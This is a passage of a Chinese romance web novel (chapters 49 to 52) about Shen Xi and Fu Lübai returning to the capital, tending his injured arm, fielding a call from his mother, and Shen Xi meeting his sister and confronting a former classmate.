她说完就推开了车门,匆忙的说:“我去收拾行李了,时间要来不及了——”
然后“啪”的一声,又将门快速的关上。
傅律白看着一溜烟就跑没影,像是落荒而逃的人,嘴角荡起的弧度越来越深。
沈晞随便扯了个理由,说是在京市有工作要叫她回去,小叔本是来探望外婆,这些年
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来小叔时不时便会过来,比那个亲女婿来得次数还勤,过寿时大概是因为外婆回绝了她那个渣爹,小叔也不便开口,所以踩着生日后几天才过来拜访问候。
小叔向来知礼节,不知道傅律白从小叔这里学去了多少,不熟时觉得是十足十的像,可现在才发现,那如兰如松的皮下,全是些浪没边的东西。
他太容易将人蛊惑。
小叔听她讲要回去上班,便又询问了些在傅律白那里工作的怎么样,为什么不继续了。
她当时出走了近两个月,到处浪连西藏都跑了去,自然是不好瞒着家里的,真假参半的说是自己毕业旅行。
家里对她这些当然是没要求,其实家里对她向来管的很松,不强求什么,也不施加什么压力,好像只要她自由快乐就好。
有没有长成世俗眼里成功的人对他们都不重要,总是温和又包容的看着她。似乎支持能让她快乐的一切。
想到这,沈晞莫名的有点想哭。
她深吸了一口气才胡乱说着,“那样的大公司我哪里合适啦,我也不能总让您花着人情,所以就走喽。”
字里行间中,全是和傅律白的疏淡没什么过多的交情。
小叔只笑着说我们茜茜也不差。
外婆也跟在一旁笑着附和。
沈晞觉得自己有这样的家人在,早晚会自恋到天上去。
尤其是傅律白也很不客观,似乎觉得他哪里都好,将她捧到了天上,于是那些想和他拉关系凑近乎要巴结他的人,便格外见风使舵夸张的几乎几乎她说天是绿的水是粉的,他们都会讲一句茜茜小姐好有想象力、好有眼里、什么慧眼识珠之类给她圆过去。
是真的可指鹿为马还有一堆人买账的捧着。
只是不知道她被捧得这样高,好似有傅律白在的世界,世界都成为了她的游乐场,她可以肆意的玩闹,不知道有一天摔下来时,她会摔得多痛,还能不能受得了。
登机时,沈晞都让傅律白坐在了里面,她在外侧,怕过路空姐们送些吃食或提供一些服务时会不经意碰到他,虽然这样的失误近乎不可能。
但在沈晞眼中,他现在格外的脆弱,就好像忘记了几个小时前差点将他在车上拍飞的事。
来时,她一个人坐在高铁中,发着烧,不知彼此会如何,前路渺茫满是迷雾。
回去时,两人并排而坐,听着空姐介绍着头等舱提供的美味食物清单,因早餐被抢夺、并不怎么喜欢吃飞机餐的傅先生,勉为其难的要了一份牛排,因为沈晞要他再吃一片止痛药。
明明吃了很多早饭,但此时还是很有食欲的沈晞,则美美的为自己要了一份烟熏三文鱼和甜点小盲盒,甜点竟出奇的好吃,沈晞问是在哪家订的,告知她是特供,后来傅律白曾多次买这家航空的头等舱,只为给她取一份小蛋糕。
沈晞吃着甜点小盲盒,不由得可惜昨日那份傅律白开了两个小时车,特意为她带过来的。
躲避时,点心盒子摔到了地上,之后又兵荒马乱的,等晚上沈晞回去才想起来时,点心盒子早已不在原处,不知是被人捡走还是被环卫工丢了,可就算是捡起来大概也都碎的不成样子不能吃了。
傅律白以为她是为了什么又眼睫微垂面露愁容惋惜起来,听到后轻笑,“这有什么,下次直接带你去吃。”
沈晞眼睫轻眨了下。
去他的家么,他的祖宅。虽然知道没这个可能,她怎么能出现在他祖宅附近,那就真人尽皆知了,太明目张胆,他家里人不会同意。
如果是以前,她会笑着,同时告诫着自己听听就算,别当真。
可此时,她知道傅律白说的不是只是哄哄她的玩笑,从来不是,他是认真的,那她也……期望有这一天到来吧。
她靠在他的肩上轻笑,时光好玄妙。
50. 第 50 章
快起飞时,其实傅律白还接了通电话,不知道电话那头的人是谁,说了些什么,只听傅律白说了句回去了,语气和气场间也难得多了丝温情。
过了几秒后,不知怎么,又忽而淡淡地看着她,看的沈晞有些莫名。
其实不过是电话的那头,文雅山问他去了哪里,怎么忽然不见。
他解释说,京市忽然有事,要回去。
文雅山有些担忧说:“你就这样回去,那个姑娘要不开心了。”
傅律白不紧不慢的说:“她看上去似乎挺开心。”
说话时,视线也没离开她。
文雅山在那边放下心来,带着些打趣的轻笑,“难怪招呼不带的就走。”
傅律白被自己的亲妈打趣,也没见不好意思,也只是从容的轻笑,说:“实在是事发紧急。”
文雅山问他能有多急,这姑娘要是不跟你走,你还回不回。
傅律白也只笑了下,没说话。
沈晞眨着眼睛,反应过味来,这是在说她么?
她无声用着口型问:“谁啊?”
“我妈妈,”傅律白将电话微微移开,问她,“要打个招呼么?”
沈晞顿时间瞪大了眼睛,猛地摇头,他是疯了么!
傅律白看着她的反应,对着电话那边又说:“改天吧,她害羞。”
那边不知道又说了几句什么才挂了电话,沈晞已经完全被吓得灵魂开窍,没心思听。
他似乎并不忌惮她和他妈妈接触,他家里人,也对他在外面找了别人而不在意么?为什么?是因为知道最终的结局,无论怎么样,傅律白都会按部就班的走他该走的路,接受一个最有利的联姻对象,所以此时随便他怎么乱来么?
哪怕他是婚后,他的私人生活,不摆到明面上,都没关系么?
不过沈晞也只怔愣了一瞬,之后的事之后再说,但现在,他们就是这样安安稳稳的并排而行,她的心情很快就被机舱提供的琳琅满目的美食给调节好。
下飞机后,她本以为傅律白会马上赶往什么地方去处理问题,她还担心了一下他的伤,是不是经受得住这样的奔波,但很诧异的傅律白竟然相当松弛,像是没事人一样,坐上了来接他们的车,还问她是否还有体力,等一下想吃什么,是直接去店里还是叫到家里吃。
沈晞只诧异的看着他。
傅律白以为她是在思考,趁着这个间歇,他拨了几通电话过去,便就真姿态闲适松散的侧头看向,像是在等她的下一步安排。
沈晞惊讶的问他,“你不是有事情要处理么?”
傅律白却轻扬了下手机告诉她,已经处理完了。
是那几通电话?
沈晞惊讶之余,再次认识到了傅先生对他们的重要性,好似傅先生只要坐镇京市,一切问题都会迎刃而解。
可不久后沈晞才知道,这样的殊荣背后,也意味着将他死死困住。
不过沈晞实在是没有更多的精力,一早醒的太早,又情绪跌宕起伏,还忙收拾了行李赶飞机,虽然全程她几乎没怎么走路,但到底还是废精力,只想回到家里躺在床上,她实在敬佩于傅律白一个伤号,是怎么还能这样看上去状态良好毫无倦容,笑盈盈的问她。
饭也吃的很简单,大概是早上和中午都吃多了,即使折腾到现在已经晚上八点多,沈晞还是不怎么饿的只要了一份鸡肉沙拉,傅律白则吃了一份广式砂锅粥。
用沈晞的说话是,好消化,比较适合病号。
也是选粥时才想起,牛肉是不是不适合伤口恢复,开始紧张又带着研究性的看向傅律白的胳膊,傅律白看着她那目光,都觉得自己纱布下被包裹着的胳膊,都已经鲜血淋淋的在渗血。
沈晞一个个的查,海鲜粥不行,生滚牛肉不行……她一一pass,最后在看到猪杂粥这个选项时,眼前一亮,这个好啊,补血又补气,傅律白却表情一皱,看上去老大不情愿。
他是真的很难接受内脏类的食物。
沈晞教育他,“鹅肝你怎么可以吃,猪肝就不行了?你这是物种歧视你知道么?猪知道了都会声讨你的。”
傅律白漫不经心的说:“我不吃猪,猪应该感激我。”
“你不缺猪的感激。”沈晞毫不吃他这一套,biubiu手指一点,便将猪杂粥放进购物袋中,下单。
沈晞抱着鸡肉沙拉,吃的愉悦,肉紧实又不柴,是提前微微腌制过的没有什么腥味,蔬菜也很翠绿爽口,她觉得自己今天的吃运真的不错,吃的每一种东西都这样好。
傅律白则没她这么好运了,不过即使是这样,他也没在碗中扒扒拉拉的,吃的仍旧很从容优雅,他是真的很有教养与修养,沈晞保证她绝对没有仗着这点故意欺负他,但看到他这个样子还是忍不住想笑。
一般人大概看不出,但他放慢的动作,和微微低垂的眸,沈晞还是看得出他吃的很勉强。
“真有这么难吃么?”沈晞边笑又有点看不下去,将自己的沙拉分给他,鸡肉他可以吃,还做出了评价,“很爽口。”
大概是想安抚下他被猪杂困扰的情绪,自己则将他的粥拿到面前,试探性的吃了一口,“很好吃啊。”
有了热腾腾软糯入味的粥,沈晞便又不想吃凉凉又味道单调的沙拉了,最后竟然变成了她吃粥傅律白吃沙拉换了过来,傅律白倒是对这份沙拉很满意。
吃过饭后,洗澡也成了难题。
已是秋季,身上并不怎么会出汗,其实不洗澡也没什么关系,但傅律白接受不了,昨日折腾到太晚,又不好留沈晞,便只自己在酒店简单的冲洗了下,昨夜吃了止痛药又出了些汗——
沈晞听到这就听不下去了,嗷的一嗓子,“什么?!你昨天竟然自己洗澡了?傅律白你疯了么?”
“……”傅律白被她这一嗓子震得愣住了下,他已经很久没被这样严肃的语气叫过大名了,一时间都没反应过来,过了两秒又觉得很玄妙。
沈晞却已经抓着他的手腕,眼睛瞪着他受伤那处,都快像是要透过纱布长出透视眼,看出什么来了一眼,皱着眉说:“这不行啊傅律白,会不会感染啊?你必须要找医生看一下了,”
她说着又看了眼时间,不算早了,大概傅律白一个病号也不想动,说:“你的家庭医生呢?就是前两天你半夜叫来的那个,让他来给你看看。”
傅律白轻笑,“什么家庭医生,人家好好一个私人医院的院长,我是看你烧成那样又不去医院,没办法才麻烦人家,人家一把年纪了,茜茜高抬贵手,快别折腾人家了。”
沈晞当时迷迷糊糊的,都没注意来得原来是位老人家,又诧异于他竟然没有请家庭医生,傅律白告诉她,他之前长不在国内,请来也用不上。
虽然不忍心折腾老人家,但沈晞还是不放心,要傅律白自己选,要么就去医院,不做那个做主的人,就好像这样就能将负罪感全丢到他的身上不管。
最终傅律白拗不过她,还是将人叫来了。
沈晞在一旁得意又看透一般的笑,说,“看吧看吧,说的那样冠冕堂皇,最后不还是懒惰压倒性胜利良心,死道友不死贫道。”
傅律白看着她轻笑没说话,其实不过是看她真的累了不想动,要是去医院她务必也要跟着。
老医生这次过来,沈晞才看清人家的长相,确实长得就很妙手神医让人很有信赖感,倒不是什么头发都掉光了,反正就是中等身材的老人家,但气定神闲就是那个劲儿,就有高手感。
老医生为傅律白重新消毒,换了下纱布,沈晞就那样探头扎着脑袋的看
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着,边看就边皱眉,好像那刀划到她身上了一样,最终她皱着个小脸,反而傅律白气定神闲的还和老医生不失礼数的讲着话。
后来沈晞问他,你不疼么。
傅律白也只是用还好回答她。
直到后来,沈晞也受了次伤,才知道哪里是还好,不过是傅律白太能忍。
等处理完,趁着这个挡头,沈晞问傅律白,要不要直接请老爷爷做家庭医生,总好过人家白跑这么两趟。
傅律白说,他可请不起,请人家院长来做他的家庭医生,实在是屈才,他可没那么大脸。
沈晞震惊的看着他,“竟然还有你请不起的。”
院长倒是为他们介绍了一个自己院里的年轻人,技术过关,一般的小问题可以处理。
傅律白却不太想,觉得不太吉利,岂不是预示着总会生病出问题。
“哇,”沈晞夸张的看着他,说,“傅律白你堕落了,你竟然也开始信上这些。”
但最后,傅律白还是将人请来,怕她会忽然发个小烧什么的,有备无患也好。
老爷子临走时,沈晞问他,“他是不是不能洗澡。”
她本意是想让傅律白打消这个念头。
老医生却说:“用保鲜膜包裹好,简单快速的洗一下也没有关系。”
沈晞:“……”
这下反而如了傅律白的意,沈晞见他里三层外三层的裹好,傅律白看着自己大了不知道多少圈,像是即将钢铁侠变身的胳膊,有些哭笑不得。
“你一个人行不行啊?”沈晞还是不放心,尤其是她刚刚又再一次亲眼看到他的伤口后,还是决定进去帮他,在沈晞此时的视角里,他这胳膊现在就跟废了一样——
不对,比废了还不如,废了倒是可以不再管它,但现在不行啊,用不了,也碰不得一点水,时间长了水汽还可能进去,沈晞哪儿还敢让他一个人啊。
傅律白没说什么,只眉梢微挑的问她,“你确定?”
反正是他脱光,又不是自己,被看的是他,意识到这点沈晞定了定心神,仰着头非常肯定的说:“确定。”
没想到从未共浴过,竟然会因为这样的原因,一同出现在浴室里。那个脱光□□,被审视的人倒是从容,似乎没有哪里是拿不出手的,不在意别人看,反而审视的沈晞,慢慢脸红了起来,明明她为了自己占据上风,故意穿的不怕湿水的黑色衣服,此时竟然也像什么都没穿一样,变得蒸腾起来。
她兀自的愣着神,这里也不敢碰,那里也不敢,似乎每一处都成了禁区,却又每一处都能想起触碰时的感觉,以及给她带来的感觉,和那时两个人荒唐无度的样子,傅律白就那样睨着她,他的声音在密闭狭小的浴室里,隔着水声好像格外的低沉带着股禁欲的撩人,“茜茜,你这个样子,我们等会都不能出去了。”
沈晞正低着头,还未反应过来他说话的意思,却已经亲眼看到了他所表达的含义,某处大有昂首非常有礼的跟她打招呼的意思。
她瞬间头皮发麻,“你……”
动也不是,不动也不是,傅律白却也没为难她,最后还是他拉着她的手,放到自己身上,帮自己打着泡沫清洗着,他的表情很淡然从容,就好似,真的只是在引导她做什么工作一样。
就好像第一次那样,他也是这样扶着她的手,一下一下的引导着。
沈晞却已经全身红透,热的快要炸了。
最后她几乎是逃着跑了出来,扶在门口,大口大口的喘着气。
全身湿哒哒的,水顺着她黑色湿透,已经完完全全贴在身上的衣服往下滴,滴到了地板上,发出“嗒、嗒、嗒”的声音,傅律白则系着浴袍浴袍穿戴整齐从她身后出来。
整齐的现在去开门取个外卖也不会觉得失礼。
51. 第 51 章
沈晞也是这次才知道,傅律白也不总是端个谨慎老派不苟言笑的,不单单是那种事情上,他骨子里也有些肆意妄为的小孩脾气。
其实再怎么低调保密着自己的联系方式,但总归圈子就那么大,有心人用足了办法总归是能找得到他,虽然打电话的人也很谨慎,但总是有人忍不住想走这步登天的捷径,打来的电话不算多但也足够烦人。
有时傅律白不想接,就甩手扔给沈晞,他一幅大少爷休养的姿态,什么都不管。
沈晞像是接到了烫手的山芋,“这不好吧?”
她怕说错话,误了他的事。
毕竟他一开口,动辄就能搞的天翻地覆,她怕惹出事来,更怕给他惹麻烦。
傅律白靠躺在床上,浴袍随着他的动作领口松松的微微露出胸口来,姿态懒散,好一幅大少爷春色,就那样斜睨了她一眼,说:“之前不是挺敢的么。”
和他告状,谁得面子都不给,天不怕地不怕的,搞得那段时间,人人都恨沈晞又人人都怕沈晞,恨她凭什么以为自己是谁,可傅律白却也给足了她面子和底气,她说出一个人来,傅律白便配合着。
肆意妄为的,颇有种想要搞得天下大乱的架势。
但他那时,也偏偏喜欢她那得意也不怎么怀好意的样子,像是个不安好心的小狐狸,灵得很,虽然像是下一秒就要咬人,但劲劲儿的,特别有意思。
沈晞怔然,原来他都知道。
她有些心虚的说:“那此一时彼一时嘛。”
傅律白懒洋洋地冲她笑,“被茜茜小姐全心全意喜欢着果然不同。”
沈晞不以为耻,仰着下巴说:“那当然。”
电话又打来,傅律白漫不经心的说:“总归没什么正经事,烦得很,放心接你的。”
沈晞反应过味来,这是他懒得应付拿她做幌子,这事她也算轻车熟路,就和当初为他挡女伴时一样,“那我接喽,”
她又询问了一遍,又半拖着调子笑着说:“我真怕有辱傅先生名声。”
傅律白斜睨着她,有些明知故问,半拖着调子说:“我什么名声?现在谁不知道我被茜茜小姐迷的六神无主。”
最后一句被他故意拖慢,尾调都是咬着的,像是在回答她,可配着他这个样子,更像是在调情,要是换做别人或许会觉得油腻,可傅律白做起来却偏偏风流的不像话。
沈晞被撩的心脏都没出息的跳漏了半拍,却又不想那么丢人被他看出来,故意说着,“出了事只会怪女人头上,昏君就是昏君。”
话是这么说着,却胡乱的接通了电话,那声音娇滴滴又任性妄为的,活像个惑乱后宫妖言惑众的妖妃。
傅律白靠在床上笑得乐不透支,连伤口都被牵动的有些疼。
最后接得沈晞都有点烦了,趴在他的怀里,下巴抵着他的胸口,“我简直免费为你打工,天天比你的秘书都忙。”
傅律白想告诉她,他并没有什么秘书,只有一位助理。
“确实不能无视了茜茜小姐的劳动力。”他说着,然后转头转给了她一百万。
“这么多?”
傅律白笑着说:“茜茜小姐的业务水平值得这样的报酬。”
整个圈子都快被她搅得天翻地覆,再也看不清局势。
沈晞笑嘻嘻的接了,但却从来没花过,时不时的为傅律白准备些惊喜买些礼物,又都不着痕迹的还给了他。
傅律白却时常担心,她这样的花法会不会早早就将她手里的那点钱造光,决定暗自为她买些基金托管,免得她老时,变成个老太太时,不能做个最时髦的老太太不能快乐的买买,畏手畏脚的多委屈啊。
变成老太太时的沈晞,大概也很有趣,就是不知道他还有没有机会看到,和他坐在一起喝喝茶。
那个时候的她,应该也不会喜欢喝茶这种无聊的事。
傅律白嘴角的弧度渐渐僵住,看着从自己面前哒哒跑过去另一个柜台挑选的人,眼底有些落寞。
大概是见他没跟上,她回头叫他,指着柜台里一处说:“过来啊,这个好不好看?”
傅律白唇角又勾起个弧度走了过去。
这天,傅律白才进浴室,沈晞正懒洋洋的抱着薯片坐在沙发上挑着碟片,她还是将傅律白送给她的那套影碟抱了过来,这段时间,他们无聊了就会窝在一起看上一部来打发时间,或是无聊的午后,或是闲散的夜晚,那段时间时光似乎过得格外的快,也格外的安逸,以至于后来沈晞每每看起电影来,都会想起他。
电话打来时,她懒洋洋的接起,上面并没有什么备注,似是习惯了,傅律白手机上,鲜有一些备注,连她的都没有,只有禹开然和程开霁以及他的那位助理,是有备注的。
发现时,她还有些不高兴,怎么她不值一个名字位置么?
傅律白和她解释,备注起来被有心人看到,会太麻烦。
换句话说,也就是这几个为他打工当牛做马的小弟,使唤起来比较方便,所以才有了备注。
这个说话让沈晞很愉悦很满意,并且那段时间,她看他们几个的眼神,都带着几分同情。
这通电话也没有什么备注,这段时间她接电话接的有些麻了,有些不耐烦的接过来,“喂”了一声,注意力还在手边的影片上。
是看个喜剧好呢,还是看个恐怖片?枪战片?文艺片?
大抵是听到她的声音,那边人明显愣了下,过了两秒才有道声音传来,是位上了些年纪的女性,但听上去态度很温和有礼,看上去是位很有教养也很有身份的人,“你好,律白在么?”
谁啊?
再有身份又教养,叫的这么亲近就以为真的很近了?
这几天她也接到不少,一听是她的声音,以为是傅律白随便叫了个小姐或是什么的,故意拿身份诈她,想趁机打探出些情报来的。
沈晞轻挑了下眉,故意矫揉造作嗲嗲的说:“不在,他在洗澡~”
言语间多暗示,像是要做实傅律白昏君的称号。
那边人果然又愣了下,像是被她的直白震惊到,沈晞正暗自得意,下一秒却听那边的人说:“哦,这样啊,那麻烦你等会让他给我回个电话好么,我是他妈妈——”
不回。
他谁得电话都没回过,是谁都——
!
谁?
谁???!
“傅律白!出事了!”
一声尖锐的爆鸣从外面传来,惊得傅律白打泡沫的手都差点滑出去,他连身上都没冲,随便披了件浴袍,还未开门,就已经听到外面传来“啪啪”跑过来的脚步声,沈晞这会儿已经无所顾忌,直接打开门冲到了他面前,举着电话,人都还带着喘的。
一双大眼睛瞪着他,急促的像是有些六神无主。
傅律白看着她的眼睛,将双手按在她的肩上,试图安抚她,声音放得越发的平缓,“怎么了?出什么事了?”
他想告诉她,在他这里,一般的事都不叫事。但转念又觉得沈晞应当知道,起初遇到些事情她还会紧张一下,愁眉苦脸一下,但后来越来越清楚他的水平,便也就越来越放肆,肆无忌惮的胡作非为,像是世界都成了她的游乐场,但他很喜欢看到这样恣意的她。
所以现在一般的事,她也不会用“出事”来形容,能被她这样说的,那可能确实是个麻烦。
所以他声音越发的轻松和稳。
沈晞举着手机,半天才说出话来,“你妈妈,你妈妈电话,我说你在洗澡!”
啊啊啊啊啊!
“你说的,不是实话么?”傅律白狐疑,不知道为什么她会有这么大的反应,再他再三确认后,发现确实只是这样,并再无其他的转折。
他奇怪的看着她,但还是将电话先给母亲拨了过去,母亲那边很快的接过,“你不是在洗澡,怎么这么快就打过来?”
文雅山那边也有些诧异。
傅律白看着在一旁鬼鬼祟祟的沈晞,很会说话的说:“大概是她怕您找我有急事,所以播报的十万火急。”
沈晞猛地抬头看着他,眼睛微瞪,表情里全是错愕。
“哦,刚刚就是那个女孩子吧?她怎么话忽然说到一半就没有声音啦?”
傅律白又似笑非笑的看着沈晞说:“怕您着急,想快点把手机拿给我,结果没拿稳手机掉地上了。”<
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???天呐,傅律白,他这张嘴,以后一定是维系婆媳关系的一把能手,就是不知道以后谁会这么幸运的享受到。
“哦,这样啊……”文雅山又问,“那她没事吧?”
“她没事,”傅律白又看着沈晞微微抬起了下手机,示意她要不要打个招呼说上几句。
沈晞猛地摆手,虽然大概听那边的意思,他的妈妈在出于礼貌的问候她,但那也只是人家的好修养啊,不懂傅律白为什么会这么不嫌事大的总想让她们通话,他是觉得两个人都在那里虚假客气很有趣么?!
好有病一男的啊!
傅律白看着她慌张的表情,笑了下,又很自然的接过话题,“您找我什么事?”
文雅山那边又说了些什么,几分钟后傅律白才挂了电话。
沈晞有点懒得理他的恶作剧,傅律白却还在那笑吟吟的讲,“问题解决了,我可以去洗澡了?”
沈晞瞪了他一眼。
直到不久后,见到傅律白的妹妹,她才隐约明白他为什么会这样不在意她是否会和她家里人接触。
是在一场聚会中,那日沈晞才从大A那边出来,傅律白接她说去带她玩,一般这样便事熟人聚了,玩得会更热闹一点,虽然即使是这样的局,大家也会隐隐对他们客气,但总好过将她彻底捧到天上。
沈晞就是在这里,第一次见到傅望舒的。
当时她坐在人群中,一只手戳在桌上,那气吞山河的气势,像是要将麻将桌上的金山银山吞进囊中,头发上戴着个bolingboling的蝴蝶发卡,看上去又仙气又可爱,一看就是富养起来的姑娘,举手投足都很大气,桌上的三个男人连连叫苦,见傅律白来了,才说:“三哥你快管管她,这是招了财神爷么,手气这么旺。”
傅律白随手给沈晞拉起旁边的椅子,自己也在一旁坐下,胳膊很随意的搭在她的椅背上,才漫不经心的说:“找我干什么,开霁不是在这呢么。”
有人笑,“开霁哪里管得住她啊。”
看上去是个还挺泼辣不好说话的姑娘。
但什么姑娘都好,反正她们也不会真的做什么姑嫂,不会有什么交集。
沈晞是这样想的,但很快便有人顶不住那种输法,眨眼的功夫快没了两辆车,败下阵来。傅律白让沈晞上去玩,并且慷慨的说输了算他的,闲着也是闲着,有了他这句话沈晞便不客气了。
桌上两位女士杀招毕现谁都没客气,最后倒也平分秋色,倒是苦了桌上的两位男士,最后叫苦的说:“钱都跑你们一家去了。”
沈晞眸色顿了下,没说话。
傅望舒却毫不客气的说:“那是当然,也不看看三哥在这里,福星高照,我们当然手顺。”
沈晞有些意外的看了她一眼,刚刚气势汹汹处处围堵她,可跟此时的态度不太一样。当然她也没手软。
傅望舒玩的有些累了,走了下来,她一走,牌桌上立刻拍手叫好嬉笑连连,沈晞也玩得有些累了,随便拿起杯喝的靠在沙发上休息。
傅望舒主动走了过来,坐在她旁边,很自来熟般的说:“这才叫打麻将,他们真的都太菜了,我哥果然眼光好,我就说他以后会找个顶顶优秀的,这才叫痛快。”
麻将打得好也叫优秀?
不过沈晞更诧异的是她的态度,很亲近,字里行间里都带着股“自家人”的味道。
沈晞奇怪的看着她笑,“怎么你就不觉得我是傅律白随便找来的小情儿?”
她言语间,完全没有那种瞧不起的鄙夷、高高在上,亦或是冷漠。
傅望舒震惊的看着她,“怎么会!我哥又不是那样的人。”
沈晞轻笑着说:“很多人都那么以为,觉得我是个攀高枝的捞女,转头就会被你哥甩了。”
“切,那些人知道什么,”傅望舒语气间带着不屑,“不过就是以为圈子里有的人那样,便觉得人人都那样。”
沈晞听着傅望舒对傅律白不假思索的维护,嘴角不由的勾起个弧度来,看来傅律白的人品在他妹妹这里很有保障。
不知道为什么,听到傅律白被人这样正面的信赖,她会觉得很开心。
52. 第 52 章
其实之前的她,又何尝不是人云亦云,觉得大环境如此,近墨者黑下饶是傅律白,也养不出纯白的茉莉,难怪当初,傅律白在听到她以为他只是玩玩时,大概是看她病了,所以强压着,也还是能感受到些生气来。
他大概是有些难过,她竟然是这样想他的。
沈晞后知后觉的感到难过和歉意,她走过去抱他,当着那么多人的面,他也只是坐在椅子上,下意识的将她抱紧,以为她只是想要个拥抱。
向来低调收敛情绪不外露不爱张扬的傅律白,也不在乎任何人眼光的,拥抱着她。
大概是心态到底不同了,再在面对一些人明里暗里的冷嘲热讽时,她都一笑置之。因着傅律白那一掷千金为她买下的金屋,或多或少的堵上了人们的嘴,说的人也少了,也是不敢放到明面上来讲,到底他们还是忌惮着傅律白,可私下里,还是会有些话传到沈晞的耳中,她倒是觉得无所谓,甚至当做笑话。
傅望舒却听得义愤填膺,气呼呼的走过来。
沈晞当时正在喝咖啡,意式浓缩的味道确实很独特,见她这样,也为她点上了一杯,问她怎么了。
“你都不知道她们说什么,说我哥大半夜把医生叫到家里,是玩大了见了血,把你都给玩坏了,”傅望舒说起来现在都还是气,“呸,下流,什么人啊,以为他们是那样,我哥也是么!”
那眉眼字里行间里,都是对沈晞的不尊重,觉得她像是快随意被玩弄随时可以丢弃的抹布一样,“我当时就跟他们干起来了,”傅望舒气鼓鼓的说,“他们见了是我,还往回找补,说是误会了,不是那个意思。”
沈晞怕她呛住,先将一旁免费的柠檬水倒给她一杯。
傅望舒抽空喝了口,都没影响她蓬勃的情绪,绘声绘色的说:“我说,那你什么意思?那个人支支吾吾的又说不出话来,我就笑了,我说我记住你们了。然后一群人拉着我傅小姐长傅小姐短了半天,我可去他的吧。”
傅望舒的那杯咖啡上来。
沈晞听着笑,说:“是不小心划破了个小口子。”
她松了口气,看来傅律白受伤的事还是瞒着了,但她和傅望舒也只能这样说。
傅望舒喝了口咖啡见她这个反应,又不乐意了,“他们这么说你,你竟然还笑?”
沈晞说:“那怎么办,嘴长在人家身上。”
神情间全是不在意,终究她也成为了人们茶余饭后嘴中的人,可原来事实到底怎么样,也就只有他们自己知道,后世传闻如何不堪也不过一笑置之,再也和他们无关。
傅望舒怔怔的看着她,慢慢给她竖起个手指来,“茜茜你真是这个,难怪我哥会喜欢你,有的时候我觉得你跟我哥很像。”
“我跟他,像?”沈晞诧异的笑,“我这么闹腾他那么……嗯,安静。”
她本来想说端的老派,但到底在人家妹妹面前,多少给他点面子。
傅望舒摇头,“就是有的时候那股面对事情时,淡然的轻蔑的无所谓的味,我也说不好,反正就是那种感觉,就很像。”
沈晞微微怔住,原来她身上或多或少已经有了傅律白的影子。
傅望舒是个闲不住的姑娘,比姜瑶还要闲不住,总是会搞些聚会开些party。
沈晞倒也乐得跟她玩,甚至有时傅律白问她在哪里,她都说在和傅望舒玩,而放了他的鸽子。傅望舒有时都担忧的问她,会不会被她哥追杀。
她笑着说,傅律白怎么会有那么幼稚,甚至在听到时,还很温和体面的说叫她好好玩。
今天的场子有点大,是傅望舒一个小姐妹的生日趴,沈晞本不想去,但傅律白出差去了,傅望舒说她左右也没事,便将她拉了过来。
整体氛围还是很愉悦的,大抵是和傅望舒关系都还算近,别看只是一群小姑娘却更知道什么该说什么不该说,只不过她没想到会在这里遇到刘颖,她觉得已经是上辈子生活中的人。刘颖已经大变样看不出原来的样子,化着很浓重讨好的妆,在那妆容下看不出是不是五官也有了些改动,总之有些不太一样。
她来得有些晚,是被一位中年男士送来的,保养的还算得当,但免不了有些中年发福头发都开始变得微微有些稀疏,那人送完她便走,临走时刘颖还甜甜的依偎在他肩上,送了枚香吻,而男人也没客气的张来五指大力抓了下她的屁股,男人那享受又下流的表情,让沈晞有些想吐。
刘颖却笑的越发甜腻讨好,等人转身离开后才走过来。两个人的目光对视了一瞬,而又淡淡移开,都没有打招呼,像是彼此不认识一样。
沈晞静静地看着场上和人嬉笑,可言语间全是客气讨好的刘颖,神色淡淡,说不出是什么情绪来,什么样的人生都是个人的选择,她没什么好说的。
刘颖却不知什么时候走了过来,居高临下的看着她,带着几分讥讽的说:“你是不是觉得我很可笑?可你又有什么不同?你自以为你喜欢傅律白么?他不过恰好又年轻又帅而已,如果他没有现在的权利地位和金钱,你还会喜欢他么?你跟我都一样,我们不过都是出卖了灵魂,选择了捷径,你凭什么高高在上?”
沈晞觉得可笑,又觉得有人夸傅律白又年轻又帅她应该礼貌的表示感谢,其实如果这些话,在以前她听起来,哪怕是半个多月前听,她或许都会心中迟疑又纠结内耗,但现在不会了。
她可以很坦然、很清楚的面对自己的内心。
如果是别人和她说这些话,她或许连理都不再想理,可到底是同学一场,她带着些惋惜的看着她,坦然和她对视,心平气和的讲,“我喜欢的是他的全部,他的权势地位金钱塑造了这样的他,如果你说我喜欢的是他的权势和金钱,那也可以这样说。”
权势和金钱从来不是个坏东西,承认喜欢也不必觉得羞愧。
刘颖怔然,过了两秒后又像是抓到把柄般轻笑,“如果有一天他无权无势也没钱,变成了一个彻彻底底的普通人,你还会喜欢他么?”
“我从来不爱做假设你知道的,”但沈晞认真的思考了下,“如果他有一
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天他变得一无所有,可他从出生起,那些个金钱权势所浇灌他的,已经塑造了现在的他,哪怕他一无所有,他还是他,他的内核没有变,我想,我还是会喜欢她。”
说到最后一句时,沈晞抬头,眼睛很亮,无畏的和她对视,就像是无比坚定与肯定,那是身为只在那些个男人身边苟延残喘来回更换的她,没有的底气。
刘颖觉得可笑又荒谬,“你以为你是谁?他们这种人,早晚是要和势均力敌的人联姻的,你不会以为他会娶你吧?”
她言语尖锐又带着嘲讽,像是要狠狠戳破她可笑又自欺欺人的甜蜜虚幻,像是给她重重一击,来赢回些场面。
如果换做以前,沈晞大概真的会被刺伤到。
但现在不会了。
就像那时,她也曾经回到过那位夫人,她当时说:因为自己年轻,才敢这样不顾一切的爱一爱傅律白,因为她知道这样的投入与不留余地,很可能无可转圜,是很不理智也很需要魄力的,哪怕她在虚长个三四岁,她都不敢这样,都没有这样明知道危险却还是要尝试的勇气来。
但傅律白已经不年轻了,他大她八岁,可还是一头栽了进来,他那么冷静和理智,却还是做了这样疯狂又危险的事,他几乎都没为自己留一个善终。
沈晞的目光不由得开始酸涩起来,刘颖看到她这个表情,以为被自己戳破,得意的笑,可沈晞也只轻轻地摇头,轻轻地说:“不重要了。”
能不能结婚,早已经不重要了,她现在只想紧紧地抱一抱他。
“什么?”刘颖有些没听清她在说什么。
沈晞却已经站起身来,恰好傅律白的电话打过来,带着些慵懒的笑意,问:“玩好了么,刚下飞机恰好路过附近。”
机场和这里明明是两个方向,他又怎么会恰好路过,沈晞却已经大步的往外跑了出去,像是不顾一切,可又带着少女独有的勇敢与轻盈,那样的力量让站在一旁的刘颖看的都一怔。
傅律白车子几乎才停下,还未怎么停稳,沈晞便已经钻了进来,速度很快。傅律白愣了下,“怎么这么快?”
他以为她还要玩一会儿,看到消息大概也是有段时间的事。
沈晞只转过身去,尽量的把整个上半身贴在他怀里,用力的抱紧他,轻声说:“想你了。”
